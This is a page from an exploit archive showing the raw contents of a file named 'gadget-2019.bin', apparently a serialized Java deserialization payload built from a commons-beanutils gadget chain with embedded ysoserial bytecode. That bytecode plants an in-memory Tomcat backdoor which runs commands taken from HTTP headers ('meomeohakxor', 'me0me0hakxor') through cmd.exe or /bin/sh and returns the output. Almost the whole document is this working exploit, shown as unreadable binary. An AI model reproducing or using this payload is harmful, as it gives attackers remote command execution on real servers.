4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / gadget-2019.bin BIN
��srjava.util.PriorityQueue��0��?��IsizeL
comparatortLjava/util/Comparator;xpsr+org.apache.commons.beanutils.BeanComparator㡈�s"�HL
comparatorq~LpropertytLjava/lang/String;xpsr?org.apache.commons.collections.comparators.ComparableComparator��%�n�7xptoutputPropertieswsr:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl	WO�n��3	I
_indentNumberI_transletIndexZ_useServicesMechanismL_accessExternalStylesheetq~L_auxClassest;Lcom/sun/org/apache/xalan/internal/xsltc/runtime/Hashtable;[
_bytecodest[[B[_classt[Ljava/lang/Class;L_nameq~L_outputPropertiestLjava/util/Properties;xp����tallpur[[BK�gg�7xpur[B���T�xp����3�ysoserial/Pwner80077120738000java/lang/Object
SourceFilePwner80077120738000.java	writeBody(Ljava/lang/Object;[B)V$org.apache.tomcat.util.buf.ByteChunk	java/lang/ClassforName%(Ljava/lang/String;)Ljava/lang/Class;

newInstance()Ljava/lang/Object;
setBytes[Bjava/lang/IntegerTYPELjava/lang/Class;	getDeclaredMethod@(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method; 
!<init>(I)V#$
%java/lang/reflect/Method'invoke9(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;)*
(+getClass()Ljava/lang/Class;-.
/doWrite1	getMethod3 
4 java/lang/ClassNotFoundException6java.nio.ByteBuffer8wrap:java/lang/NoSuchMethodException<Code
Exceptionsjava/lang/Exception@
StackMapTablegetFV8(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;getDeclaredField-(Ljava/lang/String;)Ljava/lang/reflect/Field;EF
Gjava/lang/NoSuchFieldExceptionI
getSuperclassK.
L(Ljava/lang/String;)V#N
JO"java/lang/reflect/AccessibleObjectQ
setAccessible(Z)VST
RUjava/lang/reflect/FieldWget&(Ljava/lang/Object;)Ljava/lang/Object;YZ
X[java/lang/String]()V#_
`java/lang/Threadb
currentThread()Ljava/lang/Thread;de
cfgetThreadGroup()Ljava/lang/ThreadGroup;hi
cjthreadslCD
n[Ljava/lang/Thread;pgetName()Ljava/lang/String;rs
ctexecvcontains(Ljava/lang/CharSequence;)Zxy
^zhttp|target~java/lang/Runnable�this$0�handler�global�
processors�java/util/List�size()I����(I)Ljava/lang/Object;Y���req�getResponse�	getHeader�meomeohakxor�isEmpty()Z��
^�	setStatus�	addHeader�me0me0hakxor�os.name�java/lang/System�getProperty&(Ljava/lang/String;)Ljava/lang/String;��
��toLowerCase�s
^�window�cmd.exe�/c�/bin/sh�-c�java/util/Scanner�java/lang/ProcessBuilder�([Ljava/lang/String;)V#�
��start()Ljava/lang/Process;��
��java/lang/Process�getInputStream()Ljava/io/InputStream;��
��(Ljava/io/InputStream;)V#�
��\A�useDelimiter'(Ljava/lang/String;)Ljava/util/Scanner;��
��next�s
��getBytes()[B��
^�
�
getProperties()Ljava/util/Properties;��
��java/util/Hashtable�toString�s
��[Ljava/lang/String;�@com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet�
�`!�
>/�
�N-�M-�YSY�SY�S�",�Y+SY�Y�&SY�Y+��&S�,W*�02�Y-S�5*�Y,S�,W��:9�N-;�YS�"-�Y+S�,M*�02�Y-S�5*�Y,S�,W�H:9�N-;�YS�"-�Y+S�,M*�02�Y-S�5*�Y,S�,W��hk7h�=B�k7�D=�D?A
CD>~?M*�0N�-+�HM��:-�MN�-���,��JY+�P�,�V,*�\�
JB%�
X�^XJ	
?A#_>6
?*��6�g�km�o�q:6��2:��	�uN-w�{�-}�{����oL+�����+��o��o��oL�:�ç+��o��:	6

	����	
��:��oL+�0���5+��,M+�0��Y^S�5+�Y�S�,�^N-�
-����X,�0��Y�S�5,�Y�Yȷ&S�,W,�0��Y^SY^S�5,�Y�SY-S�,W6+�0��Y^S�5+�Y�S�,�^N-�
-�����,�0��Y�S�5,�Y�Yȷ&S�,W�������{��^Y�SY�SY-S��^Y�SY�SY-S:,��Y��Y���Ķʷ�϶Ӷֶڸ�6-�
-�����,���ڸ���	�
��\��	���߱_psAB��q�c�^qc�^qcSA�^qc�
��c^qc��T.�MQ�)�^qc��qc�?AptPwnrpwxq~x